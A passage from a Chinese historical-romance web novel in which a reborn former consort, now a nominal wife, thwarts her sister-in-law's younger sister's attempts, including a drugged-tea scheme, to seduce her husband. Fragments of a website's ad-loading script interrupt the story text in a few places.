谁知谢氏沉吟片刻,一扬手:“罢了,以后少夫人进进出出,随她去,不必管她。” 苏玉茹本来拿着把握,等着看好戏,这突然的落了空,恨不得眼珠子落了地。 这位婆母持家有方的名声满京城都知道,就是这么持家的吗? 苏玉兰本来也就一起在谢氏屋子里奉茶服侍,这时候刚刚跟出来,站在嫡姐身后,一起看着谢氏由大丫鬟搀扶着回屋,四下再无外人,姐妹二人说起了悄悄话。 苏玉兰瞟一眼谢氏的背影,垂了头:“老夫人宠这位薛氏嫂子,可真是跟亲闺女差不多了,什么样能干的儿媳也跟她比不得呀。” 明知这句话有挑拨之意,苏玉茹还是咬紧了牙:“宠!叫她宠,早晚作出祸来,连累全家,那才叫打脸!” 苏玉兰吃了一惊,垂下眼。她虽然是有心挑拨,但没料到这个嫡姐戾气和恨意都这么重,连累全家的事,她又如何能跑得掉? 于是又以退为进,存心试探:“姐姐,依我看,长房的门除了薛氏嫂子,谁也进不去。” 苏玉茹正在气头上,白了苏玉兰一眼:“再说这种没出息的话,我干脆把你送回去。昨晚上,我房里的丫鬟从长房小厨房那里打听出来,这名义夫妻闹了好大的别扭,你这位薛氏嫂子怒气冲冲,从那灵犀阁里出来,据他们观望神色,倒好像……是被夫君赶出来的一样。” 苏玉兰眼睛亮了亮:“这丫鬟探听到的,可真吗?” 苏玉茹满有把握地笑了:“男人嘛,再美貌的女子多看几回,再香的饭菜吃几回,也就腻了,没有不想倒换口味的。” 苏玉兰含羞垂头,若有所悟。 ———— 在秦国公府坐了半下午,吃饱喝饱了一肚子茶点,薛灵儿和丹阳县主终于坐上马车,挥着手帕告别了秦若雪,放下帘子,才松了一口气。 马车哒哒跑动起来,薛灵儿忽然嗔了县主一眼:“娘娘,您怎么不早说,秦若晴入宫为妃了,害我打了这些天的哑谜。” 县主反过来白了她一眼:“秦若晴入宫直接封妃,人称小秦妃,刚入宫的时候十分受宠,风头压过了她姐姐秦贵妃,也就稍逊于已故的薛贵妃,这么大的事情,民间都传遍了,你不知道?只不过此人也是没福,入宫不到一年,竟然亡故了。” 薛灵儿瞟她一眼,没有说话,脸色有些发沉。 县主也回过神来,她都“已故”了,她又怎会知道。再细想一下,那帝王沈清远,在她生前的时候万千宠爱在一身,在她身故以后,还不是与别人朝欢暮乐,百般温存。 男人啊,不过如是。可是这对于薛灵儿而言,实在是有些难堪,等于她生前的繁华富贵,无论如何的鲜花着锦,烈火烹油,都只不过是一场幻象。 自己这话,也是冒失了。于是从面前的汝窑雨过天青小果盘子里,拣选了一枚最大最饱满的无花果,递给薛灵儿,稍作补偿之意。 这种来自西南的干果是薛灵儿生前最爱食的,县主因为少年时期随父亲在西南沿海驻防,独有人给她快马供应西南特产,其质其量有时候甚至超过皇家贡品。 只不过前世,她和县主是冤家, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 县主家的无花果再好,也不会给梧桐宫送去一枚,而今,县主马车的小果盘子里,时时为她备着成色最好的无花果。 县主这个人,除了为人仗义之外,还算粗中有细,薛灵儿忍不住对她展露一个笑意,县主在这种时候,明明内心受用,面上偏要表示不屑,嗤笑她一声,把脸转向窗外。 正在二人情浓意洽之时,就听铮的一声响,马车一个猛烈的晃动,仆从在外高声禀报:“回禀娘娘,马车的车辕断折,需过些时候才能修好。” 县主的性情急躁,不下于薛灵儿,立刻不耐烦催促道:“赶快些。” 不过半柱香功夫,二人在马车内嫌气闷,一先一后跳下马车,站在街边的店铺门前看起了街景,聊以打发时光。 大街上人来人往,车水马龙,忽然有两个年轻美貌如花似玉的贵族少妇出现在街边,有一个看装束甚至是皇族,而这二人大大方方与路人对望,连面纱都不遮一个,也是稀奇,于是看热闹的人更多。 薛灵儿与街上的路人互相瞪视,大眼瞪小眼,心中大乐,不论有多少忧愁郁闷重压,此刻也忍不住大大的畅意开怀。 前世还是做闺女的时候,瞒着父母亲偷偷溜到街边玩,后来入宫做了贵妃,虽然荣华富贵达到极致,但哪有这般自由惬意的乐趣,且那荣华富贵,也不过是虚假幻象,黄粱一梦…… 正在看得不亦乐乎,就见街边拐角一顶轿子停下,上面下来一个人,朝着薛灵儿和县主走过来,身形高大,脸容英俊,虽是一件朴素常服,一身清贵气度,凛冽高华,瞬间压过了一整条街的行人。只是神情谨素古板,未免令人望而生畏,正是宋汝璋。 薛灵儿一见是他,把脸偏到一边,眼睛望了天。宋汝璋来到县主面前,方方正正行礼,县主微笑示意免礼。她虽看透了世间男人,可唯独眼前这一个,还让她有三分敬意,于是虽然明知二人只不过是名义夫妻,还是把薛灵儿往宋汝璋跟前一拉:“本宫马车坏了,快把你家的人领回去,省的本宫还得分神照管她。” 宋汝璋躬身领命,薛灵儿不情不愿地跟在他身畔,满街行人看着这一对儿年轻夫妇,男子虽大上几岁,可二人容貌都十分俊秀漂亮,金童玉女一样,走在一起,实在好看煞人,忍不住看呆了。 人群有凑巧认识宋汝璋者,知道他娶了一个痴傻妻子,赶紧留神打量他身畔那小娘子,见她娇小玲珑体态,绿罗裙上纤腰一束,十分婀娜,面颊如水蜜桃一般甜美可人,水汪汪的杏子眼清明晶亮,哪里有半分痴傻之意?一时都交头接耳,议论纷纷。 宋汝璋带薛灵儿来到官轿旁边,一躬身,挑起轿帘,倒是要礼让妻子先上轿。 把个满街的行人看的,又是一阵交头接耳议论纷纷的惊叹。有知道底细者,知道这个英俊逼人的男子年纪轻轻,已经是二品大员,皇帝宠臣,为人处事上却冷心冷情,眼高于顶,是连公主都攀不上的人。 谁知人不可貌相,今日不知明日之事,一旦娶了妻开了窍,大庭广众、众目睽睽之下,竟然这样公然宠妻吗? 但依着薛灵儿的心思,恨不得踢眼前这个男人一脚。 33. 衣衫不整 二人在轿内坐定,秋香一见官轿浅窄,坐两个人都勉勉强强,不用主子吩咐,自然有眼色去跟轿,走在了流云身畔。 于是轿内只剩下名义夫妇二人。昨天刚吵完架。 这官轿又实在浅窄。 二人大眼瞪小眼,呼吸交缠。 都在极力的往一旁闪躲,二人各自缩在轿子的一角,错都错不开。 比薛灵儿那几天早上给宋大人更衣系腰带的时候,也差不多。 宋大人的呼吸,恰好擦在薛灵儿耳沿,而她的呼吸,好似正好擦过他的侧脸,无处藏躲,薛灵儿不觉烧红了耳根。 男子身上的热力逼人而来,在这狭小的轿内好似四处乱撞,膨胀发酵,薛灵儿脸颊飞上了红云,烫的难受,后背也见了汗。 轿子行进,微微晃动之中,狭小轿内好似有一股热浪不住颠簸,宋大人身上的松竹之气也带了一股隐隐的甜香,薛灵儿觉得简直透不过气来,带三分气恼,拿手去扯衣领的那粒扣子。 谁知正在此时,官轿到了宋府门口,轿夫停轿猛了一点,薛灵儿虽是坐着,因手上正在使力,身子一个趔趄,恰好跌在宋汝璋怀里。 薛灵儿除了上一世嫁皇帝,哪曾近身过别的男子?这一下男子身上钢铁般骨骼,绷紧的肌肉,有力的臂膀箍住了她,她顿时感觉自己活像一只坠入猛兽口内的小鸟,本能地就往外挣扎。 宋汝璋见她身子失去平衡,忙伸手去扶她,手上用力倒是刚刚好,握住了她的臂膀,但架不住薛灵儿害羞往外挣扎,两厢使力,嘶啦一声,薛灵儿的衣领被撕开了半边。男人手劲大,就着势一扯,露出了半边雪白的脖颈和一点胸脯。 薛灵儿只觉得自从跟宋汝璋闹了别扭之后,再见到这人,也是处处不顺,又气又羞,眼眶红了半边,差点滴下泪来。 宋汝璋马上移开视线,毫不犹豫脱下身上的官服,把衣服递给薛灵儿,自己背过了身去。 薛灵儿无奈,将官服勉强穿在身上,掀开帘子下了轿。 因为二人身形相差甚大,官服拖到了脚面,心中觉得难堪,垂下了头,面孔红透。 外头轿夫因落轿时候力气没用好,猛了点,正在担忧怕主子责罚,忽然听得轿帘内一声娇声惊呼,更加忐忑,怕是把女主子磕碰到了也未可知。秋香也听见了,赶忙在轿外问,问了半天也不见应上一声。 好容易人走出来了,身上披的是宋大人宽大的官袍,面孔红透,心知道是衣服撕破了,赶紧上手扶住,又见宋汝璋从轿中随后下来,身上只穿雪白里衣,在秋风飒飒中,显得甚是单薄。 流云一见,脱下身上比甲,要给宋汝璋挡寒,被宋汝璋一手推却。 二人并肩往里走,薛灵儿低垂着头,脸色红透,身上男子的官袍宽大,行走甚是不便,但衣料浑厚加上男子身体的余温,披在身上挡住了晚来的凉风,甚是温暖。 她又是害羞,又是感激,偷偷瞟一眼身畔的宋汝璋,见他虽然只穿雪白里衣,以一个官身来说,算是衣不蔽体,换成一般男子多少会有尴尬之色,但宋汝璋并无丝毫羞缩之态,让薛灵儿忍不住内心感叹一声,做个真傻子,有时候也挺好。 流云早就遣人飞跑着进府,又飞跑着拿了家主的常服出来,进了府门没走几步路,就有了外袍可以遮体,一场尴尬风波总算要消弥于无形,宋汝璋往身上披外袍,流云在旁服侍,薛灵儿随他停下脚步歇息片刻。 但这个当口,偏就遇上了薛灵儿最不想遇到的一个人,苏玉兰。 苏玉兰提着个小花篮,篮子里一把小小银剪刀,斜插着几支五颜六色盛放的菊花,穿一身淡粉色衣裙,婀娜多姿从花园旁边柳树下闪身出来,含羞带笑走上前,随着苏玉茹的称呼与长房夫妇打了招呼:“兄长,大嫂。” 宋汝璋淡淡点一下头,只顾自己整理外袍,并未向她瞧上一眼,薛灵儿心内虽不愿意,还是勉强看她一眼,假笑一下,连句话也没寒暄,当此尴尬时刻,心内希望她知难而退。 谁知这苏玉兰,平日看着极有眼色的伶俐人儿,此时却像换了一个人,就是最愚钝也不会有她那么愚钝,站在那里就是不走,而且还开口问道:“大嫂这是怎么了,是轿子一时颠簸,撕破了衣衫吗?” 这话问的,薛灵儿从鼻孔里哼了一声,连秋香都忍不住对她翻了个白眼,心说都看出来了你还问? 苏玉兰唇边带一丝笑意,规规矩矩,低首敛眉,对二人行了个礼“小妹不多打扰了”,然后转身离去。 薛灵儿没看出端倪,只是深觉这人今天的举动奇怪,秋香在她身畔忍不住吐槽:“这人今天怎么话这么多,不多打扰你也打扰了。” 苏玉兰背过身子,往宋府深处的方向走,眼神才露出一丝兴奋之色。 人和人在有些事情的感知和敏感度上,属于是天赋秉性的差异。 苏玉兰虽然是个未嫁闺女,薛灵儿已经是二嫁之身,薛灵儿对自己身上发生的事情懵懵懂懂,混混沌沌,但苏玉兰一眼就看得出来,薛灵儿面上的红晕,是春情上了脸。 进而,苏玉兰作出推断,二人在轿子里就耐不住了,大约是半推半就,欲拒还迎,拉拉扯扯,这才撕坏了衣裳。 再一想到方才眼角余光瞟到的宋汝璋,唇边浮现一丝意味深长的玩味。 有道是,仁者见仁。 宋汝璋虽然站在院子当中衣衫不整,当场更衣,且身畔还站着两个妙龄的年轻女子,但他天生性情刚直,且自幼研习修身养性的那一套君子涵养功夫,早就清心寡欲,百毒不侵,故此身边别说站着两个妙龄姑娘,就算是十个,他也是浑然不觉,无动于衷。 但落在苏玉兰眼里,可就是另一回事情了。 她只觉得这个男子之前是未开窍,现在被名义夫人狐狸精勾引的开了窍,一旦开窍之后,欲望之强,脸皮之厚,超于常人,到了匪夷所思的地步。 即使私欲春情暴露在大庭广众之下,全府仆从的眼内 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,也是毫无羞赧之色,泰然自若。 既然这样,自己还有什么好顾虑徘徊的呢。 究竟是个未嫁之女,想到此处,已是红云上脸,脸颊滚烫,发烧。 ———— 入夜,冰轮乍涌,遍地清辉,照耀在宋府花园湖面上,颤动着银光,灵犀阁的水榭窗子半开,空气中飘荡着晚开菊花的清芬。 今夜是个良夜,月圆花好,风平浪静。 可是苏玉兰站在灵犀阁水榭的门口,心跳得像是暴风骤雨的海面。 手提着一个精致食盒,食盒里精心炖制的补汤,温度刚刚好。 流云早已经被调虎离山,苏玉茹是掌家的少夫人,不露痕迹的做这点子小事,简直轻而易举。 苏玉兰抬起纤纤玉手,按了按心口,定了定神,鼓了鼓勇气,便要敲开这个门口。 谁知刚敲了轻轻的两下,身后传来轻轻的一声咳嗽。 虽然是女子声音,且声音甚为轻细,但听在苏玉兰耳朵里,仿佛就如同晴天霹雳,巨雷声震,一颗心差点跳出胸膛,手中食盒差点没落了地。 鼓足勇气转回头,心内忍不住在祈祷菩萨保佑,千万千万,是个过路不相干的仆妇就好。 这一转头的力气仿佛有千斤重,待转完头,看见站在身后不远处的人,一颗心,立刻死了个透。 那是此刻她最不想看到的人,薛灵儿。 秋香站在薛灵儿身畔,手中整整齐齐,托着件官袍,正是白日里宋汝璋披在薛灵儿身上那件。 苏玉兰心中连声叫苦。 原本计划中,只要敲开宋汝璋的门,不论成事与否,都不要紧。 顺利成事,固然是好,就算赶上对方无此兴致,对一个上门送羹汤的花朵般的女儿,男子汉心中总有几分怜惜,不会把他怎么样。 如今恰好被他名义夫人撞到,这下,一切都完了。为今之计,只能想好怎么脱身。苏玉兰一边打量薛灵儿的神色,一边急速盘算着。 薛灵儿本来不想亲自来的,但纠结了半晌,终究觉得还是亲口道一声谢,这才跑了这一趟。 在此处巧遇苏玉兰,又意外,又不意外。总算明白白日里她赖着不走,问个不休,是因为什么了。 于是似笑非笑,睇着苏玉兰,看着她脸色由红转白,变成惨白。 心中甚是痛快。 当初和宋汝璋吵架,正是为苏玉兰而起,如今她果然如自己所料,入夜前来,孤身一人来闯,可不正是证明了自己所说。 但如果此时指证她,叫宋汝璋出来见证,她必然找借口抵赖,说她只是路过什么的,苏玉茹肯定在这个院子有眼线,自然会帮她遮掩。 以宋汝璋的性子,论迹不论心的大道理,必然又袒护她,轻轻放过。 果然,还没等薛灵儿开口,苏玉兰僵笑一下,先发制人:“大嫂,这么巧碰上了。” 薛灵儿打量着她:“真的好巧。无巧不成书。” 34. 二女争夫 苏玉兰只好老着脸皮,继续僵笑一下:“我是听我姐姐说,长房小厨房里的李妈妈炖汤手艺最是好,我姐姐爱喝的这味汤,我炖了一下午,特意拿来让李妈妈尝尝味道,没想到就走错了路,闯到这里来,实在是冒撞了。” 根本没人问她,她自动说出了这一大篇解释,一边说,一边想往门外退。 薛灵儿一个眼色,秋香上前两步,堵住了她的去路。 苏玉兰有点慌,但薛灵儿脸上露出了笑容:“原来是这样啊,真是赶早不如赶巧,我最爱吃好吃的了,家里人都说我嘴馋舌头灵,苏三小姐这既然是拿来给人尝的,我先尝尝。” 苏玉兰看着薛灵儿脸上真假难辨的天真笑容,不知道她葫芦里卖的什么药,心里掂量着,给她尝一口似乎也不要紧,于是迟迟疑疑,把食盒递给了秋香。 秋香接到手里,就地打开,食盒里头拿出小勺小碗,舀出一点汤,递给薛灵儿,薛灵儿假意尝一点,脸上带一个嘲讽的笑:“这汤太咸了,喝了要咸死人的,苏三小姐也是太闲,这样下去一定会讨人嫌的。” 苏玉兰刚刚觉得上了当,就见薛灵儿微微一个眼色,秋香把食盒高高举起,朝地上一摔。食盒里的瓷罐瓷碗,尽皆摔成碎片,一连串的脆响,在寂静的秋夜里,传得很远很远。 水榭外头迅速有了动静,应当是门房和小厨房值夜的仆从,听见了主人屋里的异样声响,来观望个究竟。 苏玉兰脸色剧变,真要有人围过来,就算没有什么实质证据,这个脸也是丢大了。 本能地就想逃,但秋香牢牢堵了门口,插翅也是难飞。这还不算,秋香一边目光灼灼的瞪着她,一边亮开嗓子就喊人:“快来人啊!夫人打翻了东西,快来人收拾!” 这一喊,院内的仆人再不犹豫,呼啦啦跑进来一大堆。 一看屋内情景,夫人和丫鬟怒目圆睁,把一个打扮得花枝般妖妖娆娆的小娘子堵在了书房门口。 地上淋淋漓漓,泼洒着一碗羹汤,瓷器碎片散落一地,小娘子面色青白,耳根红透。 而这扇房门的背后,住着他们独居的家主,当朝二品,天子近臣,宋汝璋宋大人。 这尴尬情景,还有什么不明白的? 仆从中有人认得,登时议论纷纷:“这不是二夫人的娘家妹子吗。” 秋香故意高声说道:“可不就是二房夫人的娘家妹子,说是来咱们长房小厨房学做羹汤的,要找李妈妈,结果跑错了路,跑到咱们家主的书房来了。我替夫人问一声,小厨房有个李妈妈吗?我怎么不记得了?” 小厨房有人高声答道:“回夫人的话,小厨房不曾有什么李妈妈。” 这谎言如此拙劣,围观的仆人们忍不住笑出声来,苏玉兰恨不得钻进地缝里去,还在结结巴巴强辩:“我大概……是听错了。” 薛灵儿见捉弄她也够了,便开言说了一句:“罢了,送她回去,免得再走错了路。” 众位仆从知道这夫人与家主虽只是名义夫妻,实际上家主十分看重她,于是都配合着大声哄笑起来。 众人簇拥着满脸紫涨的苏玉兰离去,几个仆从把地面打扫干净,又都撤了出去。宋大人的书房门口这才算恢复了原有的清净,剩下薛灵儿主仆二人。 薛灵儿一眼望见秋香搁置在身后小几上的官服,这才想起来,自己今天干什么来的。 病后的身体本来容易疲乏,此刻她被折腾得精疲力尽,也不想进去,也不想道谢了,正想说让秋香自己去送,自己折返回悲寥轩,谁知吱嘎一声,书房的门从里面打开了。 宋大人面色疲惫,神情恍惚,跟薛灵儿对视了片刻,才回过神来,开言问道:“刚才外面是怎么了,吵吵闹闹的。” 薛灵儿吃惊了。闹了这么天大的动静,他老先生居然什么都没听见? 刚才她还以为他没在屋里呢。 强压了诧异回答他:“没什么,一只没眼色的野猫,进来打翻了东西。秋香,把官袍还给大人,我们回去。” 秋香把官袍递到宋汝璋手中,宋汝璋却好似从睡梦中还没醒,表情残余点呆滞问道:“你要不进去坐坐歇一会儿,我看你好像很累的样子。” 薛灵儿摇摇头:“多谢大人,告辞了。” 主仆二人转身离开,走在静悄无人的花园小径,秋香实在是不理解主子的言行,开口问道:“主子,奴婢不明白,适才为什么要替那苏三小姐遮掩?大人请您进屋坐坐,何不就此进去,把那苏三小姐的事情说一说,也证明上次您说的话办的事没错呢。” 薛灵儿语气有点疲惫:“我是再也不管他的这些闲事,今天是不凑巧赶上了,实在是不想让他误会我还在多管闲事,因此不跟他提了。” 秋香一听,主子还是在怄气啊,但怄气也没什么不对,宋大人至今连个像样的赔礼道歉都没有,换成是她,她也不能这么就算了。 就可惜了她和流云,跟着干着急,也不知道主子什么时候好事能谐。 正在犯愁,就听薛灵儿拍了一下手掌,大声说道:“咳!我怎么早没想到!” 秋香吓了一跳:“您说什么?” 薛灵儿回过神来,放低了声音:“……没什么,明天咱们还来宋大人的书房。” 秋香听了这句话,心里一喜,主子不怪乎是能结交上县主娘娘的奇女子,二人一样的性格飒爽,根本就不和男人一般见识,该主动的时候就主动,这才叫识大体。 这么一想,赶紧夸赞道:“主子能这么想可太好了。虽说您二人还没有圆房成礼,可您是正房夫人,赶紧促成好事。可被那算计咱们的坏人钻了空子。” 秋香这话,乍一听没头没脑,薛灵儿好好用心琢磨了半晌,方才明白,即使在黑暗中也是羞红了脸:“你这丫头,又想到什么歪门邪道上去了?再敢瞎说,看我不打你一顿!” 秋香心内高兴,索性放开了胆子继续说:“只要主子们能早日成礼,我挨顿打也是心甘情 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 愿的。” 薛灵儿见她越来越放肆,红着脸追着她:“现在就打你!” 秋香越发开心,笑出声来,往前就跑,主仆二人追追打打,薛灵儿虽然是整日心内背负重压,终究还是个性情爽朗的年轻姑娘,难得有这放松欢快的一刻,也不由自主的笑出声来。 二人银铃似的笑声在寂静的秋夜里,传的很远。花园的另一头,宋汝璋在湖岸的柳树旁负手而立,赏一赏月色星光。 听到这阵笑声,忍不住一愣,仿佛勾起了某一段久远的记忆,然而侧耳细听,这笑声又如同高飞的夜鸟一般,消散在秋日墨蓝的夜空中。 觉得自己的念头太荒唐,太无稽,毕竟那人坟前草木已拱……但心思已乱,就像那水面上的涟漪一样,于是转身回房。 灵犀阁水榭门前干的这件大事,无论薛灵儿如何想低调,奈何众口传扬的口碑不允许她低调。 第二日一大清早,整个宋府就传扬开了,昨晚在灵犀阁的水榭,长房夫人薛氏勇斗二房夫人娘家妹子的故事。看来苏玉茹这个掌家少夫人,对于宋府的舆论方面掌控力有限。 刘妈妈在谢氏的卧房里,跟谢氏绘声绘色地讲了一遍。在奴仆之中,关于薛氏的传言已经脱离事实,神乎其神。纷纷都说,薛氏少夫人哪里有半分痴傻之相,分明是个极其聪慧的娘子,知道防着人,派人在夫君书房门口日夜盯梢,这才逮住了人。 谢氏听着虽然不太信,但也算是长房儿媳借机树立威信、一战成名,于是唇边罕见的露出一丝微笑。 苏玉茹这次丢脸丢得太大,罕见的称病一天,躲在自己房里。 明明是自己的疏漏,没有派人去悲寥轩盯梢,此刻却在埋怨苏玉兰:“你说你这么大个人了,怎么也不灵醒一点,怎么还能让人堵在门口?” 苏玉兰忍住气,面上保持卑微讨好微笑不变:“姐姐,都是我的错。为今之计,还是想想怎么能扳回这一局,昨日之事虽然尴尬,传言难听一些,究竟还并没有实锤。” 苏玉茹一听,这个庶妹终究非一般人,在未嫁之女中,这面皮之厚,这么豁得出去,也是少见。但如她所说,传言难听,如果事情不成,她择日出府,等于一走了之,自己是这府里的媳妇,还是个掌家少夫人,这长久的笑柄如何受得了? 况且更要命的是,这个糟心事儿,相当于是两房少夫人争夺权力的第一次过招,结果是掌家的这一房惨败告终,号称痴傻的那狐狸精扮猪吃虎,杀了她一个措手不及。这事情,落在婆婆谢氏眼里,岂不是觉得苏玉茹白在她手下学了三年,还不如个毛丫头? 想到此处,苏玉茹发狠攥紧了帕子。此事自己既然下了场,也就没有退路了。 只要苏玉兰能进去长房的门成为贵妾,昨晚上的难堪不过是个小小插曲,自古有言成王败寇,所以,下一步,必须出个狠招。 拿定了主意,苏玉茹眼睛盯住苏玉兰,苏玉兰仿佛立刻会了意,二人的眼睛均是闪闪发亮。 35. 中药 第二日早上,薛灵儿打扮停当,带秋香走出悲寥轩门口,差点撞到一个人身上,后退两步一看,原来是宋汝璋。二人肩并肩,走向谢氏院落的方向,秋香和流云跟在身后。 来到她门口,等她一起去跟谢氏敬茶,这可是好些日子没有的事情了。薛灵儿诧异地问道:“大人今天是不用去办差吗?怎么等我到这么晚?” 宋汝璋答道:“今日晚去两个时辰,也晚回来两个时辰也就是了。今早上来,是想跟你道一声谢。” 经过一夜,薛灵儿浑然忘了昨天的风波:“谢什么?” 宋汝璋回答道:“昨晚你在外面,替我挡住了麻烦。” 薛灵儿脸上笑的甜,嘴上也客套:“大人不必这么客气,我也是赶巧了,路见不平,拔刀相助,大人不怪我多事就好了。” 心里却相当痛快,心说叫你当时不识好人心,怎么样,打脸了吧? 但宋汝璋这样一板一眼的人,毕竟算是非分明,知错能改,还知道特意来道个谢,比一般凉薄的世人还强一些。薛灵儿立刻决定,再遇上他的事情,还是出手帮一帮。 忽然想到了正经事,薛灵儿假作不经意的问道:“大人要办差,晚上要晚些回来?” 宋汝璋答应了一声,诧异地问道:“你有事?” 薛灵儿随口乱扯道:“是县主娘娘要教我读书写字,我想去大人的书房讨一些好用的笔墨纸砚呢,既然大人晚上不在,我就明天去找你讨。” 最近忙着跟苏玉兰纠缠不清,县主这个万金油已经很久没拿出来用了。 宋汝璋又答应了一声:“今日回来得入夜了,明日你来找我。” 秋香和流云隔得远,听不清说什么,隐隐约约听到两位主子约了见面,便相视而笑。 天已经入夜,薛灵儿带着秋香来到了灵犀阁。 秋香大失所望。 原以为是主子来跟宋大人共进晚餐,没想到,宋大人根本不在,流云也没在。 薛灵儿推开房门,如入无人之境,径直来到那第三道门前。轻轻敲了敲,果然门很厚。 昨天晚上,外头打碎了汤罐,引来了众人熙熙攘攘,而宋大人在里头浑然不觉,薛灵儿就判断出来,这第三道门很厚,能隔绝声音。 薛灵儿怀中摸出一把钥匙。 是宋汝璋逼她早上帮他更衣的时候,从他的腰间换掉的,当时也没想好什么时候闯这个小书房,今天天时地利人和,恰逢其便。 加上得知李妃的家族和父亲的旧部李世雄出卖了安国公府,那就必须尽早来小书房查探一下,宋汝璋是监察御史,官员的升迁他一定有详细记录卷宗,她要看看哪些世家在安国公府的覆灭中得了利。 秋香眼看着薛灵儿左右看一下,毫不犹豫打开了小书房门,然后给她下了指令:“去水榭的外门口守着,不论是谁进了院子,立刻跑进来禀报我。” 秋香不情愿地出去守了门口,经历过两府,她还从来没做过偷偷摸摸的事。 薛灵儿走进小书房,谨慎把门锁好,从容观察里头环境和布置。 很快就找到书架上的官员档案卷宗,翻看起来,细细看过一遍,然后放回原处。 坐在书桌旁的檀木椅上,她微微闭了眼,细细回忆刚才翻看的档案。 她在母家的时候,经常听父亲在餐座上讲论,对这些名字并不陌生,后来入宫做了贵妃,还是在官宦世家圈子,各家的闺女成了后宫姐妹,这些官场升迁就更加熟悉。 脑子里盘了两遍,升迁最快的人,是朱厚照,原本是礼部侍郎,现在是当朝次辅。 这个人一定有问题。 薛灵儿用手指在桌面上乱敲,身后却突然发出扎扎的声响,她吓了一跳,赶紧跳起身来回头一看,书桌后面有个隐藏的暗格,是通过书桌上砚台的晃动,启动了机关,显露了出来。 薛灵儿拉开暗格,被里面的东西吓了一跳,里头居然是个小小的神龛,一个小小的白玉雕成的观音菩萨雕像,合着双眼,慈悲神态,神龛上熄灭的香火犹存,是南海进贡的最上等的沉香,不是二品官员之家,还真的供不起。 这都不算什么稀奇,稀奇的是,观音雕像上面,有一副未完成的画像。 画中人是个年轻女子,面目尚且没有完成,丹青设色,身上宫装艳丽,体态娉婷,栩栩如生。 薛灵儿不知道秦若晴长成之后是什么样子,但画中人物必定是她,不会有第二个人。 秦若晴果然是入宫为妃没错了,但以她性情恬淡,穿衣风格必定素淡,应该与秦贵妃差不多,可见是为了争宠迎合帝王喜好,不得不为之,也是悲哀。 正在浮想联翩,忽然就听书房门外有急促敲门声,秋香在外低声说道:“主子,有人来了,现在走来不及了,赶快躲起来。” 薛灵儿赶快合上了暗格的门,把桌面恢复原状,躲到里间的书架后面暂时藏身。 不多一时,房门一阵钥匙响,宋汝璋推门进来,又把房门反锁,步态有些踉跄,坐在椅子上,姿态颓然,半晌不动。 薛灵儿暗暗着急,本来希望他进来拿点东西就走,谁知道他还坐下不动了,这可怎么是好? 看他手托住头,半边侧脸上额角冒汗,眼角微红,难道是吃醉了酒?可是宋大人一向禁欲,滴酒不沾啊。 正在狐疑,忽然房门又有钥匙响,薛灵儿吓了老大一跳,心说这间密室今天可奇了,怎么比谢氏的堂屋还热闹。 眼睛赶紧盯住房门,看看是何方神圣。就见一个女子闪身进来,一看清楚是苏玉兰,薛灵儿当时明了。 苏玉茹既然是掌家夫人,当然有办法拿到备用钥匙,调开流云,且在宋汝璋饮食茶水之中下药。 但这下作办法一使出来,那是孤注一掷的打法,志在必得了。如果是不成事,宋汝璋是家主,权臣,对于如此阴毒算计,那必定不能善罢甘休。 只要能成事,那是一家人不说两家话,不论情愿不情愿,宋汝璋收了这个妾,那就不会再与苏氏姐妹计较。 念头刚转到这儿,就听宋汝璋发出痛苦呻吟,仿佛已经站不起来,薛灵儿大吃一惊,这药竟然如此厉害,宋汝璋明明是从小练过修身养性功夫的,生性又冷情禁欲,这样都抵受不住。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>眼看苏玉兰面色绯红,衣领半敞,就要往宋汝璋身上靠,这时候只要是苏玉茹安排人闯进来,宋汝璋说都说不清楚。 薛灵儿明白自己不能再迟疑,立刻从藏身之处站起来,大声说道:“苏三小姐,家夫喝醉了,理应由我来照顾,你来到家夫的书房里是何意呢?” 一边说,一边就大步走到宋汝璋身边,拿身子严严实实挡在宋汝璋身前,将宋汝璋与苏玉兰成功隔开,现在就是有人闯进来,也没用了。 一见薛灵儿如同神仙天降,苏玉兰终究是个未嫁之女,还有羞耻之心,赶紧拉上了自己的衣领,脸色惨白,眼神中透出绝望之意。 就在这时候,厚厚的木头房门吱嘎一声,真就有几个仆妇进来,一见这场景,显然是与她们的准备不符,一时都发了愣。 其中一个是管家娘子,终究见多识广,机变一些,开口便问:“三小姐,你让我们好找。怎么跑到这里来了。” 苏玉兰一见有人救驾,低了头往门口就走,想借机跑掉,谁知道外头又围了一圈人,把苏玉茹派来的人又团团围住。 薛灵儿正在纳闷,这都是何方人马,今日的宋大人书房密室,别说谢氏的堂屋了,比菜市场都热闹,就听流云在外头大声嚷:“这是把我们大人的书房当成什么了?一个都别想走,在刘妈妈面前说说清楚!” 原来是秋香和流云见事情不对,去找了谢氏房里的管家娘子刘妈妈来,把苏氏姐妹做的事情做个见证。 薛灵儿一思忖,流云的意思固然是要当场要个公道,但此时却不妥,宋大人此时的情状一定不愿意被人看见,当务之急,还是把众人遣走。 此时,还得自己这个正房夫人主持大局。 于是一手扯着苏玉兰衣袖,拉得她踉踉跄跄的出了内书房的门,把房门回手合上,把人交给刘妈妈。 “这位苏三小姐也不知道是怎么回事,三番五次的走错路,还都是往宋大人书房的方向错。” 这话一出,府内的奴仆大部分都知道内情,早已忍不住哄笑出声来。 苏玉兰此时知道大势已去,在宋府再也没有留下的余地,索性不如抵赖到底,老了脸皮,若无其事答道:“都是我的不是,一向就不认路,竟然闯到这不该闯的地方来了。” 薛灵儿一见她这么无耻老辣,也是吃惊,前世就是在宫里头,那般惨烈的斗争,这么豁得出去的人也是不多见。 于是笑一下,接了话茬:“不认路倒也没什么,宋大人内书房的房门钥匙,这可不是谁都拿得到的。我夫妇二人方才在内书房,将房门在里头锁上……” 薛灵儿说到这里,故意停顿了一下,故意引发大家的联想,宋大人面色赤红的状态也可以遮掩过去,然后才质问那个闯入者。 “苏三小姐擅自闯入我夫妇二人的内书房,是怎么回事,钥匙又是如何拿到的?这钥匙,可是连流云都没有的。大人内书房,有许多朝堂机密之事,岂能是什么人都乱闯的?这事不搞个水落石出,怎么行?” 